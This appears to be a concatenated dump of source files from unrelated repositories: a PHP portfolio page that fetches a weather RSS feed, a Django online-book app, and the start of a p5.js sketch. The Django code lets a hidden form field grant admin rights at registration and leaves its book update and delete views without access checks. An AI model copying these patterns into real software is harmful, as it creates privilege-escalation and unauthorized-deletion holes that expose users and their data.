| 53f132d644d1d8728dfded6f7c7cda0e2af44e8b | [
"Java"
] | 12 | Java | Spring-cat0518/attendance | b07bfcc4d9edebf3e08cf886ff61eaaf43f700d4 | 32bfd59c4182587c5e133f0b5b16e5242d3ed084 |
refs/heads/master | <repo_name>scottvaudreuil/codeportfolio<file_sep>/index.php
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Scott Vaudreuil Website Demo</title>
<!-- Bootstrap CSS -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<style type="text/css">
body{margin-left:20%;
margin-right:20%;
margin-top:5%;
margin-bottom:5%;}
div.col-md-4, div.col-md-8 {border-top:2px solid;border-bottom:2px solid;border-left:2px solid;padding:10px;margin-bottom:10px;}
div.col-md-8 {border-right:2px solid;background-color:powderblue;}
div#result{border:5px solid powderblue;padding:20px;}
table {border:5px solid powderblue !important;padding:20px;}
td{padding:5px;}
</style>
<!-- Bootstrap Javascript-->
<script src="js/bootstrap.min.js"></script>
<!-- jQuery-->
<script type="text/javascript" src="jfeed/jquery/jquery.js"></script>
<script type="text/javascript" src="jfeed/build/dist/jquery.jfeed.pack.js"></script>
<?php
//download the current weather RSS feed to the server
file_put_contents("feed.xml", file_get_contents("http://rss.wunderground.com/auto/rss_full/RI/Providence.xml?units=english"));
?>
<!-- The following is modified jFeed code which allows me to display the weather in a more eye-pleasing manner-->
<script type="text/javascript">
jQuery(function() {
jQuery.getFeed({
url: 'feed.xml',
success: function(feed) {
jQuery('#result').append('<h2>'
+ '<a href="'
+ feed.link
+ '">'
+ feed.title
+ '</a>'
+ '</h2>');
var html = '';
for(var i = 0; i < feed.items.length && i < 1; i++) {
var item = feed.items[i];
html += '<h3>'
+ '<a href="'
+ item.link
+ '">'
+ item.title
+ '</a>'
+ '</h3>';
html += '<div><h4>';
var text = item.description;
text = text.replace("|", "<br>");
text = text.replace("|", "<br>");
text = text.replace("|", "<br>");
text = text.replace("|", "<br>");
text = text.replace("|", "<br>");
html += text
+ '</h4></div>';
}
jQuery('#result').append(html);
}
});
});
</script>
</head>
<body>
<!-- Header-->
<div class="row">
<div class="col-md-4"><h1><NAME></h1></div>
<div class="col-md-8"><h1>Website Demo</h1></div>
</div>
<!-- Introduction-->
Welcome to my website!<br>
This page has been tested using EasyPHP-DevServer-14.1VC11 running PHP 5.5.8. The HTML and CSS adhere to the <a href="http://getbootstrap.com/">Bootstrap</a> standards.
<br>
<!-- Example 1-->
<h2>Fetching and Displaying data from RSS XML feed</h2>
I am using PHP to fetch an <a href="http://rss.wunderground.com/auto/rss_full/RI/Providence.xml?units=english">rss feed of the current weather</a> from <a href="http://wunderground.com">wunderground.com</a>.<br>
Then I used <a href="https://github.com/jfhovinne/jFeed">jFeed</a> (a jQuery script by github user jfhovinne) to display the weather data once it has been downloaded to the server. I used jQuery to convert the format from single line to line-by-line for easier reading.<br>
<h3>Source Code:</h3>
<blockquote><pre><script type="text/javascript" src="jfeed/jquery/jquery.js"></script>
<script type="text/javascript" src="jfeed/build/dist/jquery.jfeed.pack.js"></script>
<?php
file_put_contents("feed.xml", file_get_contents("http://rss.wunderground.com/auto/rss_full/RI/Providence.xml?units=english"));
?>
<script type="text/javascript">
jQuery(function() {
jQuery.getFeed({
url: 'feed.xml',
success: function(feed) {
jQuery('#result').append('<h2>'
+ '<a href="'
+ feed.link
+ '">'
+ feed.title
+ '</a>'
+ '</h2>');
var html = '';
for(var i = 0; i < feed.items.length && i < 1; i++) {
var item = feed.items[i];
html += '<h3>'
+ '<a href="'
+ item.link
+ '">'
+ item.title
+ '</a>'
+ '</h3>';
html += '<div><h4>';
var text = item.description;
text = text.replace("|", "<br>");
text = text.replace("|", "<br>");
text = text.replace("|", "<br>");
text = text.replace("|", "<br>");
text = text.replace("|", "<br>");
html += text
+ '</h4></div>';
}
jQuery('#result').append(html);
}
});
});
</script></pre>
</blockquote>
<h3>Final Output:</h3>
<div id="result" /></div>
<hr>
<!-- Example 2-->
<h2>Fetching external webpages and saving them to the server</h2>
<br><br>
Here is an example of fetching and saving data with php. I am going to fetch a scene from a <a href="http://shakespeare.mit.edu/allswell/allswell.1.1.html">Shakespeare play</a>, and then save it to the server as "fetch.html".
<h3>Source Code:</h3>
<blockquote><pre> <?php
$upload = file_put_contents("fetch.html", file_get_contents("http://shakespeare.mit.edu/allswell/allswell.1.1.html"));
if ($upload) echo 'the fetch was successful!<br>To view the fetched webpage, <a href="fetch.html">click here</a>';
else {echo "The fetch failed!";}
></pre></blockquote>
<h3>Final Output:</h3>
<?php
$upload = file_put_contents("fetch.html", file_get_contents("http://shakespeare.mit.edu/allswell/allswell.1.1.html"));
if ($upload) echo 'the fetch was successful!<br>To view the fetched webpage, <a href="fetch.html">click here</a>';
else {echo "The fetch failed!";}
?>
<hr>
<!-- Example 3-->
<h2>Displaying a database table as an HTML table</h2>
<br>To simulate a MySQL database table, I created a table of sport scores and saved it as a <a href="sportscore-dbtable.csv">CSV (Comma Seperated Values) file</a>.
<br>I have experience with querying databases, and then displaying the information. To simulate displaying database information, I used php to read this CSV line by line and then display it as an HTML table.
<br><br>
<h3>Source Code:</h3>
<blockquote><pre> <table class="table-bordered">
<?php
$handle = fopen("sportscore-dbtable.csv", "r");
$lineNum = 0;
while(($data = fgetcsv($handle)) != FALSE) {
echo "<tr>";
$numCol = count($data);
for($i=0;$i<$numCol;$i++){
echo "<td>";
if ($lineNum==0) echo "<b>";
echo $data[$i];
if ($lineNum==0) echo "</b>";
echo "</td>";
}
$lineNum++;
echo "</tr>";
}
?>
</table></pre></blockquote>
<h3>Final Output:</h3>
<table class="table-bordered">
<?php
$handle = fopen("sportscore-dbtable.csv", "r");
$lineNum = 0;
while(($data = fgetcsv($handle)) != FALSE) {
echo "<tr>";
$numCol = count($data);
for($i=0;$i<$numCol;$i++){
echo "<td>";
if ($lineNum==0) echo "<b>";
echo $data[$i];
if ($lineNum==0) echo "</b>";
echo "</td>";
}
$lineNum++;
echo "</tr>";
}
?>
</table>
<!-- Example 4-->
<hr><h2>Inserting into a MySQL Database with PHP</h2>
If the above table was a mysql table, and I needed to insert a new row of data, I would use PHP to execute a MySQL INSERT statement. The source code I would write to do that would be...
<br>
<h3>Source Code:</h3>
<blockquote>
<pre><?php
$db = new mysqli("example.com", "user", "password", "database");
if ($db->connect_errno) {
echo "Failed to connect to MySQL";
}
$sql = 'INSERT INTO SportScore VALUES("Volleyball","30-20",2014-05-39)';
$db->query($sql);
?>
</pre>
</blockquote>
<!-- Example 5-->
<hr><h2>Styling an image link with CSS</h2>
The following image links to this website demo. Thanks to the CSS box-shadow property, a:hover img is styled to show a drop shadow when the mouse hovers over the image.<br>
<h3>Image link with CSS Styling:</h3>
<style type="text/css">
a:hover img { box-shadow: 10px 10px 5px powderblue;}
</style>
<a href="index.php" ><img src="img/grassypath.jpg" /></a>
<h3>Source Code:</h3>
<blockquote>
<pre><style type="text/css">
a:hover img { box-shadow: 10px 10px 5px powderblue;}
</style>
<a href="index.php" ><img src="img/grassypath.jpg" /></a>
</pre>
</blockquote>
<!-- Conclusion-->
<h3>I hope you enjoyed my Digital Portfolio.
<br>Contact me at <b>scott_vaudreuil@my.uri.edu</b></h3>
<!-- Footer-->
<div id="footer"><hr>Powered by <a href="http://getbootstrap.com">Bootstrap</a>,
<a href="http://php.net">PHP</a>,
<a href="http://jquery.com/">jQuery</a>,
<a href="http://wunderground.com">wunderground</a>, and
<a href="https://github.com/jfhovinne/jFeed">jFeed</a>.
<br>(C)2014 <NAME>. All code original unless otherwise noted.
</div>
</body>
</html>
| 5c4bd3994102f837109a2983326ed8a9893cc8ab | [
"PHP"
] | 1 | PHP | scottvaudreuil/codeportfolio | 770d6beb2ee6ad299d8ee674abae846f97b7ce9f | b5afc47265c5d419a40946d963828950e6677c21 |
refs/heads/master | <repo_name>12059976534/onlinebook<file_sep>/app/admincontroler/views.py
from django.shortcuts import render,reverse
from app import models
from django.http import HttpResponse
from module.gmail import sending
import uuid
from django.http import HttpResponseRedirect
from errno import ENETUNREACH
from django.views.decorators.cache import cache_control
@cache_control(no_cache=True, must_revalidate=True, no_store=True)
def adminku(request):
if request.session.has_key('user'):
sesi=request.session['user']
uorad=models.User.objects.get(username=sesi)
data= str(uorad.leveluser)
if data == '1':
return HttpResponseRedirect(reverse('profile'))
user=models.User.objects.get(username=sesi)
nama=user.nama
print("levelll:",user.leveluser,type(user.leveluser))
datauser=models.User.objects.filter(leveluser=2)
dataadmin=models.User.objects.filter(leveluser=1)
semua=models.User.objects.all()
buku=models.Buku.objects.all()
# book
kategori1=models.Kategoribuku.objects.get(kategori='teknik')
teknik=models.Buku.objects.filter(kategori=kategori1)
kategori2=models.Kategoribuku.objects.get(kategori='religion')
religion=models.Buku.objects.filter(kategori=kategori2)
kategori3=models.Kategoribuku.objects.get(kategori='politik')
politik=models.Buku.objects.filter(kategori=kategori3)
history=models.Kategoribuku.objects.filter(kategori='history')
print('panjang p:',len(politik),'panjang t',len(teknik),'panjang r',len(religion))
data={
'userlogin':nama,
'jumlahuser':len(datauser),
'jumlahadmin':len(dataadmin),
'all':len(semua),
'buku':len(buku),
'teknik':len(teknik),
'religion':len(religion),
'politik':len(politik),
'hostory':len(history),
}
return render(request,'app/admin.html',data)
return HttpResponseRedirect(reverse('login'))
def tablebuku(request):
if request.session.has_key('user'):
sesi=request.session['user']
uorad=models.User.objects.get(username=sesi)
data= str(uorad.leveluser)
if data == '1':
return HttpResponseRedirect(reverse('profile'))
buku=models.Buku.objects.all()
return render(request,'app/bukutable.html',{'buku':buku})
return HttpResponseRedirect(reverse('login'))
def tableadmin(request):
if request.session.has_key('user'):
sesi=request.session['user']
uorad=models.User.objects.get(username=sesi)
data= str(uorad.leveluser)
if data == '1':
return HttpResponseRedirect(reverse('profile'))
level=models.Leveluser.objects.get(level=2)
admin=models.User.objects.filter(leveluser=level)
print("tablel adminnnnn id:",level.id)
return render(request,'app/admintable.html',{'admin':admin})
return HttpResponseRedirect(reverse('login'))
def tableuser(request):
if request.session.has_key('user'):
sesi=request.session['user']
uorad=models.User.objects.get(username=sesi)
data= str(uorad.leveluser)
if data == '1':
return HttpResponseRedirect(reverse('profile'))
level=models.Leveluser.objects.get(level=1)
userku=models.User.objects.filter(leveluser=level)
return render(request,'app/usertable.html',{'userku':userku})
return HttpResponseRedirect(reverse('login'))
def newadmin(request):
if request.session.has_key('user'):
sesi=request.session['user']
uorad=models.User.objects.get(username=sesi)
data= str(uorad.leveluser)
if data == '1':
return HttpResponseRedirect(reverse('profile'))
return render(request,'app/createadmin.html')
return HttpResponseRedirect(reverse('login'))
def updateuser(request,id):
if request.session.has_key('user'):
sesi=request.session['user']
uorad=models.User.objects.get(username=sesi)
data= str(uorad.leveluser)
if data == '1':
return HttpResponseRedirect(reverse('profile'))
data=models.User.objects.get(id=id)
if request.method == 'POST':
name=request.POST['name']
username=request.POST['username']
email=request.POST['email']
password=request.POST['<PASSWORD>']
passwordpalid=request.POST['<PASSWORD>']
models.User.objects.filter(id=id).update(nama=name,username=username,email=email,password=<PASSWORD>)
jalur=models.User.objects.get(id=id)
dat=str(jalur.leveluser)
if dat == '1':
return HttpResponseRedirect(reverse('tableuser'))
return HttpResponseRedirect(reverse('tableadmin'))
return render(request,'app/updateuser.html',{'data':data})
return HttpResponseRedirect(reverse('login'))
def deletuser(request,id):
if request.session.has_key('user'):
sesi=request.session['user']
uorad=models.User.objects.get(username=sesi)
data= str(uorad.leveluser)
if data == '1':
return HttpResponseRedirect(reverse('profile'))
de=models.User.objects.get(id=id)
data=str(de.leveluser)
if data == "1":
de.delete()
return HttpResponseRedirect(reverse('tableuser'))
de.delete()
return HttpResponseRedirect(reverse('tableadmin'))
return HttpResponseRedirect(reverse('login'))
<file_sep>/app/profilecontroler/views.py
from django.shortcuts import render,reverse
from app import models
from django.http import HttpResponse
from module.gmail import sending
import uuid
from django.http import HttpResponseRedirect
from errno import ENETUNREACH
def profile(request):
if request.session.has_key('user'):
sesi=request.session['user']
user=models.User.objects.get(username=sesi)
return render(request,'app/profile.html',{'data':user,'userlogin':user.nama})
return HttpResponseRedirect(reverse('login'))
def mybook(request):
if request.session.has_key('user'):
sesi=request.session['user']
user=models.User.objects.get(username=sesi)
nama=user.nama
book=models.Buku.objects.filter(user=user)
return render(request,'app/mybook.html',{'book':book,'userlogin':nama})
return HttpResponseRedirect(reverse('login'))
def upaccount(request,id):
if request.session.has_key('user'):
data=models.User.objects.get(id=id)
if request.method == 'POST':
name=request.POST['name']
username=request.POST['username']
up=models.User.objects.filter(id=id)
check=models.User.objects.filter(username=username)
if check:
user=models.User.objects.get(id=id)
if user.username != username:
return HttpResponse('pilih user yang lain')
up.update(nama=name,username=username)
try:
del request.session['user']
except:
return HttpResponse('erorr session')
request.session['user'] = username
return HttpResponseRedirect(reverse('profile'))
return render(request,'app/upaccount.html',{'data':data})
return HttpResponseRedirect(reverse('login')) <file_sep>/README.md
# onlinebook
onlinebook apk
bosstrap4 css framework + django python framework + sb-admin2 template
tidak mudah untuk memahami struktur code, code ini di buat atas dasar kegabutan jadi lumayan berantakan
saya mempersilahkan anda untuk bercontribusi,memperbaiki code yang dirasa un best practice atau menambah kan fitur dll
jika anda mengambil code sebagai bahan pembelajaran dan mengalami
kesulitan di bagian code code tertentu bisa hubung email: <EMAIL>
<file_sep>/requirements.txt
dj-database-url==0.5.0
Django==3.1.3
djangorestframework==3.12.2
gunicorn==20.0.4
psycopg2-binary==2.8.6
whitenoise==5.2.0<file_sep>/module/gmail/sending.py
def kirim(p,s,t):
import smtplib
from email.mime.text import MIMEText as text
server=smtplib.SMTP_SSL("smtp.gmail.com",465) # inisualisasi objects smtplib (SMTP_SSL)
server.login("<EMAIL>","<PASSWORD> ") # login ke email
m = text(p) # membuat teks message
m['Subject'] = s # object messege to email
# kirim email index[0] email pengirim,index[1] email penerima,index[2]pesan dan objeck
server.sendmail("<EMAIL>",t,m.as_string())
# tutup server
server.quit()
<file_sep>/app/urls.py
from django.urls import path
from . import views
from .admincontroler import views as admin
from .profilecontroler import views as profile
from django.contrib.auth.views import PasswordResetView,PasswordResetDoneView,PasswordResetConfirmView,PasswordResetCompleteView
urlpatterns = [
# reset pass============
path('password_reset/',PasswordResetView.as_view(template_name='app/resetpas.html'),name='password_reset'),
path('password/reset/done',PasswordResetDoneView.as_view(template_name='app/done.html'),name='password_reset_done'),
path('password_reset_confim/<uidb64>/<token>/',PasswordResetConfirmView.as_view(template_name='app/confirm.html'),name="password_reset_confirm"),
path('password_reset/complet',PasswordResetCompleteView.as_view(template_name='app/complete.html'),name='password_reset_complete'),
# ======================
path('',views.index,name='index'),
path('search/',views.search,name="search"),
path('register/',views.register,name='register'),
path('palidacount/',views.palidacount,name='palidacount'),
path('login/',views.login,name='login'),
path('adminku/',admin.adminku,name='adminku'),
path('tableadmin/',admin.tableadmin,name='tableadmin'),
path('tablebuku/',admin.tablebuku,name='tablebuku'),
path('tableuser/',admin.tableuser,name='tableuser'),
path('newadmin/',admin.newadmin,name='newadmin'),
path('uploadbuku/',views.uploadbuku,name='uploadbuku'),
path('profile/',profile.profile,name='profile'),
path('mybook/',profile.mybook,name='mybook'),
path('logout/',views.logout,name='logout'),
path('updateuser:<int:id>/',admin.updateuser,name='updateuser'),
path('deletuser:<int:id>/',admin.deletuser,name='deletuser'),
path('updatebuku<int:id>/',views.updatebuku,name='updatebuku'),
path('deletbuku<int:id>/',views.deletbuku,name='deletbuku'),
path('upaccount<int:id>/',profile.upaccount,name='upaccount'),
path('some_view/',views.some_view,name='some_view'),
path('baca<int:id>/',views.baca,name='baca'),
path('bacabuku<int:id>/',views.bacabuku,name='bacabuku'),
path('fetch/',views.post_fect,name='fetch'),
path('postsearch/',views.post_search,name='postsearch'),
]
<file_sep>/app/admin.py
from django.contrib import admin
# Register your models here.
from . import models
admin.site.register([models.User,models.Leveluser,models.Buku,models.Kategoribuku])
# admin.site.register(models.User)
# admin.site.register(models.Leveluser)
# admin.site.register(models.Buku)
# admin.site.register(models.Kategoribuku)
<file_sep>/app/models.py
from django.db import models
from django.contrib.auth.models import AbstractUser
# Create your models here.
class Leveluser(models.Model):
level=models.CharField(max_length=10)
def __str__(self):
return '%s' % (self.level)
class User(AbstractUser):
nama=models.CharField(max_length=200)
email=models.EmailField(max_length=200,unique=True)
username=models.CharField(max_length=300,unique=True)
password=models.CharField(max_length=100)
date=models.DateTimeField(auto_now_add=True, blank=True,null=True)
leveluser=models.ForeignKey(Leveluser,on_delete=models.CASCADE,null=True, default=1)
def __str__(self):
return " %s %s %s %s " % (self.nama,self.username,self.email,self.leveluser)
class Kategoribuku(models.Model):
kategori=models.CharField(max_length=10)
def __str__(self):
return "%s" % (self.kategori)
class Buku(models.Model):
files=models.TextField(max_length=False)
judul=models.CharField(max_length=250)
penulis=models.CharField(max_length=250)
penerbit=models.CharField(max_length=500)
status=models.BooleanField(default=True)
ate = models.DateTimeField(auto_now_add=True, blank=True,null=True)
kategori=models.ForeignKey(Kategoribuku, on_delete=models.CASCADE,null=True )
user=models.ForeignKey(User, on_delete=models.CASCADE,null=True )
def __str__(self):
return "%s %s %s %s %s %s" % (self.files,self.judul,self.penulis,self.penerbit,self.kategori,self.user)
<file_sep>/app/static/js/lazy.js
$(document).ready(function(){
var limit=8;
var start=1;
var action ='inactivate'
function load_post_data(limit,start){
console.log(start,limit)
// const judul= document.getElementById("search").value
// console.log("ddddddddddddddddddddddddddddddddddddddddddddddddddd",judul)
$.ajax({
url:'fetch/',
method:'GET',
data:{
limit:limit,
start:start,
},
caches:false,
success:function(response){
l=limit
s=start
if (response == ""){
console.log("respose:",response)
}
$('#hasil').append(response);
console.log(response)
if(response == ""){
$("#more-data").html("<button type='button' class='btn btn-info mb-2'>not found !!</button>");
action = 'activate';
}else{
$("#more-data").html("<div class='mb-2 text-primary font-weight-bold font-italic' style='margin-left:30%'>loading book....</div>");
action = 'inactivate';
setTimeout(function(){
$("#more-data").html("<button type='button' class='mb-2 btn btn-success' style='margin-left:30%'>All book</button>");
}, 5000);
}
}
})
}
if (action =='inactivate') {
action='activate'
load_post_data(limit,start);
}
$(window).scroll(function(){
if($(window).scrollTop() + $(window).height() > $('#hasil').height() && action == 'inactivate'){
action = 'activate';
start=start+7;
limit=limit+7;
setTimeout(function(){
load_post_data(limit,start);
},1000)
}
})
});
// search
<file_sep>/app/views.py
from django.shortcuts import render,reverse
from . import models
from django.http import HttpResponse
from module.gmail import sending
import uuid
from django.http import HttpResponseRedirect
from errno import ENETUNREACH
from django.db.models import Q
from django.core.files.storage import FileSystemStorage
import os
from django.conf import settings
from django.http import FileResponse, Http404
from django.template.loader import render_to_string
import io
from django.http import FileResponse
from django.http import JsonResponse
from reportlab.pdfgen import canvas
from django.contrib import messages
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont
from reportlab.lib.fonts import addMapping
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import A4
from reportlab.platypus import SimpleDocTemplate, Paragraph
from reportlab.lib.styles import getSampleStyleSheet
from reportlab.lib.units import cm
from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger
from django.contrib.auth.hashers import make_password, check_password
# Create your views here.
def index(request):
kategori=models.Kategoribuku.objects.all()
jumlah=models.Buku.objects.all()
return render(request,'app/index.html',{'kategori':kategori,'jumlah':len(jumlah)})
def search(request):
if request.method == 'POST':
global search
search=request.POST['search']
data=models.Buku.objects.filter(Q(judul__icontains=search)|Q(penulis__icontains=search)|Q(penerbit__icontains=search))
# paginate
page = request.GET.get('page', 1)
paginator = Paginator(data, 6)
try:
users = paginator.page(page)
except PageNotAnInteger:
users = paginator.page(1)
except EmptyPage:
users = paginator.page(paginator.num_pages)
# end
kategori=models.Kategoribuku.objects.all()
return render(request,'app/seach.html',{'kategori':kategori,'users':users,'search':search})
data=models.Buku.objects.filter(Q(judul__icontains=search)|Q(penulis__icontains=search)|Q(penerbit__icontains=search))
# paginate
page = request.GET.get('page', 1)
paginator = Paginator(data, 6)
try:
users = paginator.page(page)
except PageNotAnInteger:
users = paginator.page(1)
except EmptyPage:
users = paginator.page(paginator.num_pages)
# end
kategori=models.Kategoribuku.objects.all()
return render(request,'app/seach.html',{'kategori':kategori,'users':users,'search':search})
def post_search(request):
if request.is_ajax():
limite=request.GET.get('limit')
starts=request.GET.get('start')
post=models.Buku.objects.all()[int(starts):int(limite)]
return render(request,'app/research.html',{'post_list':post})
def post_fect(request):
if request.is_ajax():
limit=request.GET.get('limit')
start=request.GET.get('start')
li=[]
post=models.Buku.objects.values()
try:
for i in range(int(start),int(limit)):
li.append(post[len(post)-i])
print("jumlah literasi:",i)
print("jumlah limit",limit)
except AssertionError:
print(AssertionError)
return render(request,'app/result.html',{'post_list':li})
def bacabuku(request,id):
kategori=models.Kategoribuku.objects.all()
data=models.Buku.objects.filter(kategori=id)
# paginate
page = request.GET.get('page', 1)
paginator = Paginator(data, 6)
try:
users = paginator.page(page)
except PageNotAnInteger:
users = paginator.page(1)
except EmptyPage:
users = paginator.page(paginator.num_pages)
# end
return render(request,'app/bacabuku.html',{'kategori':kategori,'users':users})
def baca(request,id):
data=models.Buku.objects.get(id=id)
buku=data.files
opendata='static/file/pdf/'+buku
try:
return FileResponse(open(opendata, 'rb'), content_type='application/pdf')
except FileNotFoundError:
raise Http404()
def register(request):
if request.method == 'POST':
name=request.POST['name']
email=request.POST['email']
username=request.POST['username']
password=request.POST['<PASSWORD>']
palidpassword=request.POST['<PASSWORD>']
kode =request.POST.get('sandi')
global nama,mail,user,pas,palid,kodeku
kodeku=kode
print("code hiden form:",kodeku)
print(type(kodeku))
nama=name
mail=email
user=username
pas=<PASSWORD>
palid=<PASSWORD>
def my_random_string(string_length=10):
"""Returns a random string of length string_length."""
random = str(uuid.uuid4()) # Convert UUID format to a Python string.
random = random.upper() # Make all characters uppercase/membuat semua karak ter menjadi hurup besar.
random = random.replace("-","") # Remove the UUID '-'.
return random[0:string_length] # Return the random string.
global cod
cod=[]
code=my_random_string(6)
cod.clear()
cod.append(code)
codeperivikasi="haii "+name+"following your verification code "+code
subjek='online book verification'
data=models.User.objects.filter(username=username)
if data:
# return HttpResponse("pilih username yang lain")
messages.warning(request,'choose another username !!',extra_tags='inpaliduser')
return HttpResponseRedirect(reverse('register'))
data=models.User.objects.filter(email=email)
if data:
# return HttpResponse("email telah terdaptar")
messages.warning(request,'email has been registered !!',extra_tags='inpalidemail')
return HttpResponseRedirect(reverse('register'))
try:
# tricky code goes here
sending.kirim(str(codeperivikasi),subjek,email)
return HttpResponseRedirect(reverse('palidacount'))
except IOError as e:
# an IOError exception occurred (socket.error is a subclass)
if e.errno == ENETUNREACH:
# now we had the error code 101, network unreachable
return HttpResponse("101")
else:
return HttpResponse("no internet conection")
kategori=models.Kategoribuku.objects.all()
return render(request,'app/register.html',{'kategori':kategori})
def palidacount(request):
if request.method == 'POST':
peripikasi=request.POST['peripikasi']
if cod[0] == peripikasi:
data=models.User.objects.all()
print("dataaaaaaaaaaaaaaaa:",data)
if kodeku == '1':
level=models.Leveluser.objects.get(level=2)
passwordku=<PASSWORD>_<PASSWORD>(pas)
s=models.User(nama=nama,email=mail,username=user,password=<PASSWORD>,leveluser=level)
s.save()
return HttpResponseRedirect(reverse('login'))
if data and len(data) > 1:
print("prossssssses user")
level=models.Leveluser.objects.get(level=1)
passwordku=<PASSWORD>(pas)
s=models.User(nama=nama,email=mail,username=user,password=<PASSWORD>,leveluser=level)
s.save()
return HttpResponseRedirect(reverse('login'))
print("prossssssses admin")
level=models.Leveluser.objects.get(level=2)
passwordku=make_password(pas)
s=models.User(nama=nama,email=mail,username=user,password=<PASSWORD>,leveluser=level)
s.save()
return HttpResponseRedirect(reverse('login'))
pass
print(kodeku)
return render(request,'app/palidacount.html')
def login(request):
if request.session.has_key('user'):
return HttpResponseRedirect(reverse('adminku'))
if request.method == 'POST':
username=request.POST['username']
passwords=request.POST['password']
user=models.User.objects.filter(username=username)
if user:
user=models.User.objects.get(username=username)
if check_password(passwords,user.password):
request.session['user'] = username
jalur=models.User.objects.get(username=username)
jal=str(jalur.leveluser)
if jal == "1":
return HttpResponseRedirect(reverse('profile'))
return HttpResponseRedirect(reverse('adminku'))
messages.warning(request,'Invalid password !!',extra_tags='inpalidpas')
return render(request,'app/login.html')
email=models.User.objects.filter(email=username)
if email:
email=models.User.objects.get(email=username)
if check_password(passwords,email.password):
request.session['user'] = email.username
jalur=models.User.objects.get(email=username)
jal=str(jalur.leveluser)
if jal == "1":
return HttpResponseRedirect(reverse('profile'))
return HttpResponseRedirect(reverse('adminku'))
messages.warning(request,'Invalid password !!',extra_tags='inpalidpas')
return HttpResponseRedirect(reverse('login'))
messages.info(request,'account is not palid or not registered',extra_tags='not_exist')
return render(request,'app/login.html')
kategori=models.Kategoribuku.objects.all()
return render(request,'app/login.html',{'kategori':kategori})
def uploadbuku(request):
if request.session.has_key('user'):
if request.method == 'POST' and request.FILES['myfile']:
judul=request.POST['judul']
penulis=request.POST['penulis']
kategori=request.POST['kategori']
penerbit=request.POST['penerbit']
myfile=request.FILES['myfile']
# upload file
media_root = getattr(settings, 'MEDIA_ROOT', None)
dirs='pdf'
s=os.path.join(media_root,dirs)
fs = FileSystemStorage(s)
filename = fs.save(myfile.name, myfile)
uploaded_file_url = fs.url(filename)
print("uploadd file=",uploaded_file_url)
print("get file name=",filename)
data=models.Kategoribuku.objects.all()
idkate=int(kategori)
kbook=models.Kategoribuku.objects.get(id=idkate)
sesku=request.session['user']
usersesi=models.User.objects.get(username=sesku)
sa=models.Buku(judul=judul,penulis=penulis,penerbit=penerbit,files=filename,kategori=kbook,user=usersesi)
sa.save()
ses=models.User.objects.get(username=sesku)
seid=str(ses.leveluser)
if seid == "1":
return HttpResponseRedirect(reverse('mybook'))
return HttpResponseRedirect(reverse('tablebuku'))
# end upload
data=models.Kategoribuku.objects.all()
return render(request,'app/uploadbuku.html',{'data':data})
return HttpResponseRedirect(reverse('login'))
def logout(request):
if request.session.has_key('user'):
try:
del request.session['user']
except:
return HttpResponse('erorr')
return HttpResponseRedirect(reverse('login'))
return HttpResponseRedirect(reverse('index'))
def updatebuku(request,id):
data=models.Buku.objects.get(id=id)
kategori=models.Kategoribuku.objects.all()
kate=[]
for i in kategori:
kate.append(i.kategori)
kate.remove(str(data.kategori))
kate.insert(0,data.kategori)
kate={'kategori':kate,'data':data}
if request.method == 'POST' and request.FILES['myfile']:
judul=request.POST['judul']
penulis=request.POST['penulis']
kategori=request.POST['kategori']
penerbit=request.POST['penerbit']
myfile=request.FILES['myfile']
fil=str(data.files)
media_root = getattr(settings, 'MEDIA_ROOT', None)
dirs='pdf'
j=os.path.join(media_root,dirs)
files=fil
os.remove(os.path.join(j, files))
media_root = getattr(settings, 'MEDIA_ROOT', None)
dirs='pdf'
s=os.path.join(media_root,dirs)
fs = FileSystemStorage(s)
filename = fs.save(myfile.name, myfile)
uploaded_file_url = fs.url(filename)
k=models.Kategoribuku.objects.get(kategori=kategori)
models.Buku.objects.filter(id=id).update(judul=judul,penulis=penulis,penerbit=penerbit,files=filename,kategori=k)
sesku=request.session['user']
ses=models.User.objects.get(username=sesku)
iduser=str(ses.leveluser)
if iduser == "1":
return HttpResponseRedirect(reverse('mybook'))
return HttpResponseRedirect(reverse('tablebuku'))
return render(request,'app/updatebuku.html',kate)
def deletbuku(request,id):
sesi=request.session['user']
de=models.User.objects.get(username=sesi)
lev=str(de.leveluser)
book=models.Buku.objects.get(id=id)
if lev == "1":
book.delete()
media_root = getattr(settings, 'MEDIA_ROOT', None)
dirs='pdf'
j=os.path.join(media_root,dirs)
files=book.files
os.remove(os.path.join(j, files))
return HttpResponseRedirect(reverse('mybook'))
book.delete()
media_root = getattr(settings, 'MEDIA_ROOT', None)
dirs='pdf'
j=os.path.join(media_root,dirs)
files=book.files
os.remove(os.path.join(j, files))
return HttpResponseRedirect(reverse('tablebuku'))
def some_view(request):
from reportlab.lib.units import inch
pdfmetrics.registerFont(TTFont('Vera', 'Vera.ttf'))
buffer = io.BytesIO()
my_text = "online book merupakan aplikasi yang menyediakan buku gratis \n setiap orang yang memiliki account online book bebas menyebarkan buku "
c = canvas.Canvas(buffer,)
textobject = c.beginText(2*cm, 29 * cm - 5 * cm)
ketobject = c.beginText(9*cm, 29.7 * cm - 2 * cm)
for line in my_text.splitlines(False):
textobject.textLine(line.rstrip())
c.drawText(textobject)
# c.translate(inch,inch)
# c.line(0,0,0,1.7*inch) pertikal line
c.line(10,740,8.1*inch,740) #horizon line
c.line(10,738,8.1*inch,738)
c.drawString(180, 770, "Data pengembang aplikasi online book")
datauser=models.User.objects.filter(leveluser=1)
dataadmin=models.User.objects.filter(leveluser=2)
semua=models.User.objects.all()
buku=models.Buku.objects.all()
data=str(len(buku))
c.drawString(50, 580, "nama:<NAME>")
c.drawString(50, 560, "nurhidayati")
c.drawString(50, 540, "<NAME>")
c.drawString(50, 520, "<NAME>")
c.drawString(50, 500, "<NAME>")
c.save()
buffer.seek(0)
return FileResponse(buffer, as_attachment=True, filename='hello.pdf')
| 6acaec6eda1b60a54b2b39160a022eeb2d88d71a | [
"Markdown",
"Python",
"Text",
"JavaScript"
] | 10 | Python | 12059976534/onlinebook | 140d7ba66bc7bc1718da5332415032376f8993ab | 9dda52014bf269b00a52e5bcb3d20f241f4281f1 |
refs/heads/main | <file_sep>let box;
let bubbles;
let NUMBUBBLES = 25;
let bubbleSize = 5;
let width = 700;
let height = 600;
let locGrid;
let gridUnit = 100;
function setup() {
createCanvas(width, height);
background(255);
box = createVector(width, height);
